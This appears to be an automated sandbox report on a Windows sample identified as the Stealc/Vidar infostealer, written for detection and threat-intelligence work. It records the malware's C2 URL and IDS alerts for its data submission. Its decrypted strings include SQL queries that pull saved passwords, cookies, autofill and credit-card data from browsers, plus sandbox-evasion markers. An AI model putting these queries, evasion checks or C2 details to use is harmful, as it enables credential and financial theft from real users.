Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1545301
MD5:	db6b1432e0641f3ec061401d5547d4a4
SHA1:	b037de812f635be7e0ce633785cb356f04f36301
SHA256:	9112846b3c122fd59a75c3b60e1821e81e90700948dbff182ac8f38263fc78dc
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Detected unpacking (changes PE section rights)

Found malware configuration

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

Maps a DLL or memory area into another process

Monitors registry run keys for changes

PE file contains section with special chars

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 5008 cmdline: "C:\Users\user\Desktop\file.exe" MD5: DB6B1432E0641F3EC061401D5547D4A4)

chrome.exe (PID: 6200 cmdline: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 3984 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2376 --field-trial-handle=2276,i,10947752675193604870,8748139334359778798,262144 /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

msedge.exe (PID: 7888 cmdline: "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 8124 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2572 --field-trial-handle=2308,i,13248434027509961714,6387315998208005900,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 8144 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 7768 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2672 --field-trial-handle=2600,i,4098161083112385091,5340634980591339184,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 6248 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6776 --field-trial-handle=2600,i,4098161083112385091,5340634980591339184,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 3084 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6840 --field-trial-handle=2600,i,4098161083112385091,5340634980591339184,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

identity_helper.exe (PID: 8392 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6784 --field-trial-handle=2600,i,4098161083112385091,5340634980591339184,262144 /prefetch:8 MD5: F8CEC3E43A6305AC9BA3700131594306)

identity_helper.exe (PID: 8404 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6784 --field-trial-handle=2600,i,4098161083112385091,5340634980591339184,262144 /prefetch:8 MD5: F8CEC3E43A6305AC9BA3700131594306)

msedge.exe (PID: 5208 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6968 --field-trial-handle=2600,i,4098161083112385091,5340634980591339184,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Threatname: Vidar

{"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2601720478.000000000124E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2601720478.000000000124E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2139158406.0000000004E80000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2599315739.0000000000451000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 5008	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 5008	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 5008	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 5008	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
decrypted.memstr	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 4 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.450000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 5008, ParentProcessName: file.exe, ProcessCommandLine: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 6200, ProcessName: chrome.exe

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T11:45:08.369738+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.6	49709	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T11:45:08.354821+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.6	49709	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T11:45:08.655177+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.6	49709	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T11:45:09.785814+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.6	49709	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T11:45:08.662740+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.6	49709	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T11:45:07.980640+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	49709	185.215.113.206	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T11:45:10.327648+0100	2803304	3	Unknown Traffic	192.168.2.6	49709	185.215.113.206	80	TCP
2024-10-30T11:45:37.427246+0100	2803304	3	Unknown Traffic	192.168.2.6	49888	185.215.113.206	80	TCP
2024-10-30T11:45:40.909738+0100	2803304	3	Unknown Traffic	192.168.2.6	49888	185.215.113.206	80	TCP
2024-10-30T11:45:42.967932+0100	2803304	3	Unknown Traffic	192.168.2.6	49888	185.215.113.206	80	TCP
2024-10-30T11:45:44.060499+0100	2803304	3	Unknown Traffic	192.168.2.6	49888	185.215.113.206	80	TCP
2024-10-30T11:45:46.322232+0100	2803304	3	Unknown Traffic	192.168.2.6	49888	185.215.113.206	80	TCP
2024-10-30T11:45:46.869562+0100	2803304	3	Unknown Traffic	192.168.2.6	49888	185.215.113.206	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Found malware configuration

Source: 0.2.file.exe.450000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}
Source: 0.2.file.exe.450000.0.unpack	Malware Configuration Extractor: Vidar {"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 0.2.file.exe.450000.0.unpack	String decryptor: INSERT_KEY_HERE
Source: 0.2.file.exe.450000.0.unpack	String decryptor: 30
Source: 0.2.file.exe.450000.0.unpack	String decryptor: 11
Source: 0.2.file.exe.450000.0.unpack	String decryptor: 20
Source: 0.2.file.exe.450000.0.unpack	String decryptor: 24
Source: 0.2.file.exe.450000.0.unpack	String decryptor: GetProcAddress
Source: 0.2.file.exe.450000.0.unpack	String decryptor: LoadLibraryA
Source: 0.2.file.exe.450000.0.unpack	String decryptor: lstrcatA
Source: 0.2.file.exe.450000.0.unpack	String decryptor: OpenEventA
Source: 0.2.file.exe.450000.0.unpack	String decryptor: CreateEventA
Source: 0.2.file.exe.450000.0.unpack	String decryptor: CloseHandle
Source: 0.2.file.exe.450000.0.unpack	String decryptor: Sleep
Source: 0.2.file.exe.450000.0.unpack	String decryptor: GetUserDefaultLangID
Source: 0.2.file.exe.450000.0.unpack	String decryptor: VirtualAllocExNuma
Source: 0.2.file.exe.450000.0.unpack	String decryptor: VirtualFree
Source: 0.2.file.exe.450000.0.unpack	String decryptor: GetSystemInfo
Source: 0.2.file.exe.450000.0.unpack	String decryptor: VirtualAlloc
Source: 0.2.file.exe.450000.0.unpack	String decryptor: HeapAlloc
Source: 0.2.file.exe.450000.0.unpack	String decryptor: GetComputerNameA
Source: 0.2.file.exe.450000.0.unpack	String decryptor: lstrcpyA
Source: 0.2.file.exe.450000.0.unpack	String decryptor: GetProcessHeap
Source: 0.2.file.exe.450000.0.unpack	String decryptor: GetCurrentProcess
Source: 0.2.file.exe.450000.0.unpack	String decryptor: lstrlenA
Source: 0.2.file.exe.450000.0.unpack	String decryptor: ExitProcess
Source: 0.2.file.exe.450000.0.unpack	String decryptor: GlobalMemoryStatusEx
Source: 0.2.file.exe.450000.0.unpack	String decryptor: GetSystemTime
Source: 0.2.file.exe.450000.0.unpack	String decryptor: SystemTimeToFileTime
Source: 0.2.file.exe.450000.0.unpack	String decryptor: advapi32.dll
Source: 0.2.file.exe.450000.0.unpack	String decryptor: gdi32.dll
Source: 0.2.file.exe.450000.0.unpack	String decryptor: user32.dll
Source: 0.2.file.exe.450000.0.unpack	String decryptor: crypt32.dll
Source: 0.2.file.exe.450000.0.unpack	String decryptor: ntdll.dll
Source: 0.2.file.exe.450000.0.unpack	String decryptor: GetUserNameA
Source: 0.2.file.exe.450000.0.unpack	String decryptor: CreateDCA
Source: 0.2.file.exe.450000.0.unpack	String decryptor: GetDeviceCaps
Source: 0.2.file.exe.450000.0.unpack	String decryptor: ReleaseDC
Source: 0.2.file.exe.450000.0.unpack	String decryptor: CryptStringToBinaryA
Source: 0.2.file.exe.450000.0.unpack	String decryptor: sscanf
Source: 0.2.file.exe.450000.0.unpack	String decryptor: VMwareVMware
Source: 0.2.file.exe.450000.0.unpack	String decryptor: HAL9TH
Source: 0.2.file.exe.450000.0.unpack	String decryptor: JohnDoe
Source: 0.2.file.exe.450000.0.unpack	String decryptor: DISPLAY
Source: 0.2.file.exe.450000.0.unpack	String decryptor: %hu/%hu/%hu
Source: 0.2.file.exe.450000.0.unpack	String decryptor: http://185.215.113.206
Source: 0.2.file.exe.450000.0.unpack	String decryptor: bksvnsj
Source: 0.2.file.exe.450000.0.unpack	String decryptor: /6c4adf523b719729.php
Source: 0.2.file.exe.450000.0.unpack	String decryptor: /746f34465cf17784/
Source: 0.2.file.exe.450000.0.unpack	String decryptor: tale
Source: 0.2.file.exe.450000.0.unpack	String decryptor: GetEnvironmentVariableA
Source: 0.2.file.exe.450000.0.unpack	String decryptor: GetFileAttributesA
Source: 0.2.file.exe.450000.0.unpack	String decryptor: GlobalLock
Source: 0.2.file.exe.450000.0.unpack	String decryptor: HeapFree
Source: 0.2.file.exe.450000.0.unpack	String decryptor: GetFileSize
Source: 0.2.file.exe.450000.0.unpack	String decryptor: GlobalSize
Source: 0.2.file.exe.450000.0.unpack	String decryptor: CreateToolhelp32Snapshot
Source: 0.2.file.exe.450000.0.unpack	String decryptor: IsWow64Process
Source: 0.2.file.exe.450000.0.unpack	String decryptor: Process32Next
Source: 0.2.file.exe.450000.0.unpack	String decryptor: GetLocalTime
Source: 0.2.file.exe.450000.0.unpack	String decryptor: FreeLibrary
Source: 0.2.file.exe.450000.0.unpack	String decryptor: GetTimeZoneInformation
Source: 0.2.file.exe.450000.0.unpack	String decryptor: GetSystemPowerStatus
Source: 0.2.file.exe.450000.0.unpack	String decryptor: GetVolumeInformationA
Source: 0.2.file.exe.450000.0.unpack	String decryptor: GetWindowsDirectoryA
Source: 0.2.file.exe.450000.0.unpack	String decryptor: Process32First
Source: 0.2.file.exe.450000.0.unpack	String decryptor: GetLocaleInfoA
Source: 0.2.file.exe.450000.0.unpack	String decryptor: GetUserDefaultLocaleName
Source: 0.2.file.exe.450000.0.unpack	String decryptor: GetModuleFileNameA
Source: 0.2.file.exe.450000.0.unpack	String decryptor: DeleteFileA
Source: 0.2.file.exe.450000.0.unpack	String decryptor: FindNextFileA
Source: 0.2.file.exe.450000.0.unpack	String decryptor: LocalFree
Source: 0.2.file.exe.450000.0.unpack	String decryptor: FindClose
Source: 0.2.file.exe.450000.0.unpack	String decryptor: SetEnvironmentVariableA
Source: 0.2.file.exe.450000.0.unpack	String decryptor: LocalAlloc
Source: 0.2.file.exe.450000.0.unpack	String decryptor: GetFileSizeEx
Source: 0.2.file.exe.450000.0.unpack	String decryptor: ReadFile
Source: 0.2.file.exe.450000.0.unpack	String decryptor: SetFilePointer
Source: 0.2.file.exe.450000.0.unpack	String decryptor: WriteFile
Source: 0.2.file.exe.450000.0.unpack	String decryptor: CreateFileA
Source: 0.2.file.exe.450000.0.unpack	String decryptor: FindFirstFileA
Source: 0.2.file.exe.450000.0.unpack	String decryptor: CopyFileA
Source: 0.2.file.exe.450000.0.unpack	String decryptor: VirtualProtect
Source: 0.2.file.exe.450000.0.unpack	String decryptor: GetLogicalProcessorInformationEx
Source: 0.2.file.exe.450000.0.unpack	String decryptor: GetLastError
Source: 0.2.file.exe.450000.0.unpack	String decryptor: lstrcpynA
Source: 0.2.file.exe.450000.0.unpack	String decryptor: MultiByteToWideChar
Source: 0.2.file.exe.450000.0.unpack	String decryptor: GlobalFree
Source: 0.2.file.exe.450000.0.unpack	String decryptor: WideCharToMultiByte
Source: 0.2.file.exe.450000.0.unpack	String decryptor: GlobalAlloc
Source: 0.2.file.exe.450000.0.unpack	String decryptor: OpenProcess
Source: 0.2.file.exe.450000.0.unpack	String decryptor: TerminateProcess
Source: 0.2.file.exe.450000.0.unpack	String decryptor: GetCurrentProcessId
Source: 0.2.file.exe.450000.0.unpack	String decryptor: gdiplus.dll
Source: 0.2.file.exe.450000.0.unpack	String decryptor: ole32.dll
Source: 0.2.file.exe.450000.0.unpack	String decryptor: bcrypt.dll
Source: 0.2.file.exe.450000.0.unpack	String decryptor: wininet.dll
Source: 0.2.file.exe.450000.0.unpack	String decryptor: shlwapi.dll
Source: 0.2.file.exe.450000.0.unpack	String decryptor: shell32.dll
Source: 0.2.file.exe.450000.0.unpack	String decryptor: psapi.dll
Source: 0.2.file.exe.450000.0.unpack	String decryptor: rstrtmgr.dll
Source: 0.2.file.exe.450000.0.unpack	String decryptor: CreateCompatibleBitmap
Source: 0.2.file.exe.450000.0.unpack	String decryptor: SelectObject
Source: 0.2.file.exe.450000.0.unpack	String decryptor: BitBlt
Source: 0.2.file.exe.450000.0.unpack	String decryptor: DeleteObject
Source: 0.2.file.exe.450000.0.unpack	String decryptor: CreateCompatibleDC
Source: 0.2.file.exe.450000.0.unpack	String decryptor: GdipGetImageEncodersSize
Source: 0.2.file.exe.450000.0.unpack	String decryptor: GdipGetImageEncoders
Source: 0.2.file.exe.450000.0.unpack	String decryptor: GdipCreateBitmapFromHBITMAP
Source: 0.2.file.exe.450000.0.unpack	String decryptor: GdiplusStartup
Source: 0.2.file.exe.450000.0.unpack	String decryptor: GdiplusShutdown
Source: 0.2.file.exe.450000.0.unpack	String decryptor: GdipSaveImageToStream
Source: 0.2.file.exe.450000.0.unpack	String decryptor: GdipDisposeImage
Source: 0.2.file.exe.450000.0.unpack	String decryptor: GdipFree
Source: 0.2.file.exe.450000.0.unpack	String decryptor: GetHGlobalFromStream
Source: 0.2.file.exe.450000.0.unpack	String decryptor: CreateStreamOnHGlobal
Source: 0.2.file.exe.450000.0.unpack	String decryptor: CoUninitialize
Source: 0.2.file.exe.450000.0.unpack	String decryptor: CoInitialize
Source: 0.2.file.exe.450000.0.unpack	String decryptor: CoCreateInstance
Source: 0.2.file.exe.450000.0.unpack	String decryptor: BCryptGenerateSymmetricKey
Source: 0.2.file.exe.450000.0.unpack	String decryptor: BCryptCloseAlgorithmProvider
Source: 0.2.file.exe.450000.0.unpack	String decryptor: BCryptDecrypt
Source: 0.2.file.exe.450000.0.unpack	String decryptor: BCryptSetProperty
Source: 0.2.file.exe.450000.0.unpack	String decryptor: BCryptDestroyKey
Source: 0.2.file.exe.450000.0.unpack	String decryptor: BCryptOpenAlgorithmProvider
Source: 0.2.file.exe.450000.0.unpack	String decryptor: GetWindowRect
Source: 0.2.file.exe.450000.0.unpack	String decryptor: GetDesktopWindow
Source: 0.2.file.exe.450000.0.unpack	String decryptor: GetDC
Source: 0.2.file.exe.450000.0.unpack	String decryptor: CloseWindow
Source: 0.2.file.exe.450000.0.unpack	String decryptor: wsprintfA
Source: 0.2.file.exe.450000.0.unpack	String decryptor: EnumDisplayDevicesA
Source: 0.2.file.exe.450000.0.unpack	String decryptor: GetKeyboardLayoutList
Source: 0.2.file.exe.450000.0.unpack	String decryptor: CharToOemW
Source: 0.2.file.exe.450000.0.unpack	String decryptor: wsprintfW
Source: 0.2.file.exe.450000.0.unpack	String decryptor: RegQueryValueExA
Source: 0.2.file.exe.450000.0.unpack	String decryptor: RegEnumKeyExA
Source: 0.2.file.exe.450000.0.unpack	String decryptor: RegOpenKeyExA
Source: 0.2.file.exe.450000.0.unpack	String decryptor: RegCloseKey
Source: 0.2.file.exe.450000.0.unpack	String decryptor: RegEnumValueA
Source: 0.2.file.exe.450000.0.unpack	String decryptor: CryptBinaryToStringA
Source: 0.2.file.exe.450000.0.unpack	String decryptor: CryptUnprotectData
Source: 0.2.file.exe.450000.0.unpack	String decryptor: SHGetFolderPathA
Source: 0.2.file.exe.450000.0.unpack	String decryptor: ShellExecuteExA
Source: 0.2.file.exe.450000.0.unpack	String decryptor: InternetOpenUrlA
Source: 0.2.file.exe.450000.0.unpack	String decryptor: InternetConnectA
Source: 0.2.file.exe.450000.0.unpack	String decryptor: InternetCloseHandle
Source: 0.2.file.exe.450000.0.unpack	String decryptor: InternetOpenA
Source: 0.2.file.exe.450000.0.unpack	String decryptor: HttpSendRequestA
Source: 0.2.file.exe.450000.0.unpack	String decryptor: HttpOpenRequestA
Source: 0.2.file.exe.450000.0.unpack	String decryptor: InternetReadFile
Source: 0.2.file.exe.450000.0.unpack	String decryptor: InternetCrackUrlA
Source: 0.2.file.exe.450000.0.unpack	String decryptor: StrCmpCA
Source: 0.2.file.exe.450000.0.unpack	String decryptor: StrStrA
Source: 0.2.file.exe.450000.0.unpack	String decryptor: StrCmpCW
Source: 0.2.file.exe.450000.0.unpack	String decryptor: PathMatchSpecA
Source: 0.2.file.exe.450000.0.unpack	String decryptor: GetModuleFileNameExA
Source: 0.2.file.exe.450000.0.unpack	String decryptor: RmStartSession
Source: 0.2.file.exe.450000.0.unpack	String decryptor: RmRegisterResources
Source: 0.2.file.exe.450000.0.unpack	String decryptor: RmGetList
Source: 0.2.file.exe.450000.0.unpack	String decryptor: RmEndSession
Source: 0.2.file.exe.450000.0.unpack	String decryptor: sqlite3_open
Source: 0.2.file.exe.450000.0.unpack	String decryptor: sqlite3_prepare_v2
Source: 0.2.file.exe.450000.0.unpack	String decryptor: sqlite3_step
Source: 0.2.file.exe.450000.0.unpack	String decryptor: sqlite3_column_text
Source: 0.2.file.exe.450000.0.unpack	String decryptor: sqlite3_finalize
Source: 0.2.file.exe.450000.0.unpack	String decryptor: sqlite3_close
Source: 0.2.file.exe.450000.0.unpack	String decryptor: sqlite3_column_bytes
Source: 0.2.file.exe.450000.0.unpack	String decryptor: sqlite3_column_blob
Source: 0.2.file.exe.450000.0.unpack	String decryptor: encrypted_key
Source: 0.2.file.exe.450000.0.unpack	String decryptor: PATH
Source: 0.2.file.exe.450000.0.unpack	String decryptor: C:\ProgramData\nss3.dll
Source: 0.2.file.exe.450000.0.unpack	String decryptor: NSS_Init
Source: 0.2.file.exe.450000.0.unpack	String decryptor: NSS_Shutdown
Source: 0.2.file.exe.450000.0.unpack	String decryptor: PK11_GetInternalKeySlot
Source: 0.2.file.exe.450000.0.unpack	String decryptor: PK11_FreeSlot
Source: 0.2.file.exe.450000.0.unpack	String decryptor: PK11_Authenticate
Source: 0.2.file.exe.450000.0.unpack	String decryptor: PK11SDR_Decrypt
Source: 0.2.file.exe.450000.0.unpack	String decryptor: C:\ProgramData\
Source: 0.2.file.exe.450000.0.unpack	String decryptor: SELECT origin_url, username_value, password_value FROM logins
Source: 0.2.file.exe.450000.0.unpack	String decryptor: browser:
Source: 0.2.file.exe.450000.0.unpack	String decryptor: profile:
Source: 0.2.file.exe.450000.0.unpack	String decryptor: url:
Source: 0.2.file.exe.450000.0.unpack	String decryptor: login:
Source: 0.2.file.exe.450000.0.unpack	String decryptor: password:
Source: 0.2.file.exe.450000.0.unpack	String decryptor: Opera
Source: 0.2.file.exe.450000.0.unpack	String decryptor: OperaGX
Source: 0.2.file.exe.450000.0.unpack	String decryptor: Network
Source: 0.2.file.exe.450000.0.unpack	String decryptor: cookies
Source: 0.2.file.exe.450000.0.unpack	String decryptor: .txt
Source: 0.2.file.exe.450000.0.unpack	String decryptor: SELECT HOST_KEY, is_httponly, path, is_secure, (expires_utc/1000000)-11644480800, name, encrypted_value from cookies
Source: 0.2.file.exe.450000.0.unpack	String decryptor: TRUE
Source: 0.2.file.exe.450000.0.unpack	String decryptor: FALSE
Source: 0.2.file.exe.450000.0.unpack	String decryptor: autofill
Source: 0.2.file.exe.450000.0.unpack	String decryptor: SELECT name, value FROM autofill
Source: 0.2.file.exe.450000.0.unpack	String decryptor: history
Source: 0.2.file.exe.450000.0.unpack	String decryptor: SELECT url FROM urls LIMIT 1000
Source: 0.2.file.exe.450000.0.unpack	String decryptor: cc
Source: 0.2.file.exe.450000.0.unpack	String decryptor: SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards
Source: 0.2.file.exe.450000.0.unpack	String decryptor: name:
Source: 0.2.file.exe.450000.0.unpack	String decryptor: month:
Source: 0.2.file.exe.450000.0.unpack	String decryptor: year:
Source: 0.2.file.exe.450000.0.unpack	String decryptor: card:
Source: 0.2.file.exe.450000.0.unpack	String decryptor: Cookies
Source: 0.2.file.exe.450000.0.unpack	String decryptor: Login Data
Source: 0.2.file.exe.450000.0.unpack	String decryptor: Web Data
Source: 0.2.file.exe.450000.0.unpack	String decryptor: History
Source: 0.2.file.exe.450000.0.unpack	String decryptor: logins.json
Source: 0.2.file.exe.450000.0.unpack	String decryptor: formSubmitURL
Source: 0.2.file.exe.450000.0.unpack	String decryptor: usernameField
Source: 0.2.file.exe.450000.0.unpack	String decryptor: encryptedUsername
Source: 0.2.file.exe.450000.0.unpack	String decryptor: encryptedPassword
Source: 0.2.file.exe.450000.0.unpack	String decryptor: guid
Source: 0.2.file.exe.450000.0.unpack	String decryptor: SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies
